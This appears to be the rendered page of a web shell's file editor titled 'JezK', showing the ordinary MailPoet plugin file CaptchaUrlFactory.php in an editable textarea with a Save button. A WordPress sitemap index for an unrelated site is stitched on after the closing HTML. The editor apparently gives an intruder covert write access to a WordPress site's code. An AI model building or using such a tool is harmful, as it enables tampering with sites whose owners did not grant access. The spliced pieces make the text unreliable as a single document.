
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: CaptchaUrlFactory.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php declare(strict_types = 1);

namespace MailPoet\Captcha;

if (!defined(&#039;ABSPATH&#039;)) exit;


use MailPoet\Router\Endpoints\Captcha as CaptchaEndpoint;
use MailPoet\Router\Router;
use MailPoet\Settings\SettingsController;
use MailPoet\WP\Functions as WPFunctions;

class CaptchaUrlFactory {
  private WPFunctions $wp;
  private SettingsController $settings;

  const REFERER_MP_FORM = &#039;mp_form&#039;;
  const REFERER_WP_FORM = &#039;wp_register_form&#039;;
  const REFERER_WC_FORM = &#039;wc_register_form&#039;;

  public function __construct(
    WPFunctions $wp,
    SettingsController $settings
  ) {
    $this-&gt;wp = $wp;
    $this-&gt;settings = $settings;
  }

  public function getCaptchaUrl(array $data) {
    return $this-&gt;getUrl(CaptchaEndpoint::ACTION_RENDER, $data);
  }

  public function getCaptchaUrlForMPForm(string $sessionId) {
    $data = [
      &#039;captcha_session_id&#039; =&gt; $sessionId,
      &#039;referrer_form&#039; =&gt; self::REFERER_MP_FORM,
    ];

    return $this-&gt;getCaptchaUrl($data);
  }

  public function getCaptchaImageUrl(int $width, int $height, string $sessionId) {
    return $this-&gt;getUrl(
      CaptchaEndpoint::ACTION_IMAGE,
      [
        &#039;width&#039; =&gt; $width,
        &#039;height&#039; =&gt; $height,
        &#039;captcha_session_id&#039; =&gt; $sessionId,
      ]
    );
  }

  public function getCaptchaAudioUrl(string $sessionId) {
    return $this-&gt;getUrl(
      CaptchaEndpoint::ACTION_AUDIO,
      [
        &#039;cacheBust&#039; =&gt; time(),
        &#039;captcha_session_id&#039; =&gt; $sessionId,
      ]
    );
  }

  private function getUrl(string $action, array $data) {
    $post = $this-&gt;wp-&gt;getPost($this-&gt;settings-&gt;get(&#039;subscription.pages.captcha&#039;));
    $url = $this-&gt;wp-&gt;getPermalink($post);

    $params = [
      Router::NAME,
      &#039;endpoint=&#039; . CaptchaEndpoint::ENDPOINT,
      &#039;action=&#039; . $action,
      &#039;data=&#039; . Router::encodeRequestData($data),
    ];

    $url .= (parse_url($url, PHP_URL_QUERY) ? &#039;&amp;&#039; : &#039;?&#039;) . join(&#039;&amp;&#039;, $params);
    return $url;
  }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
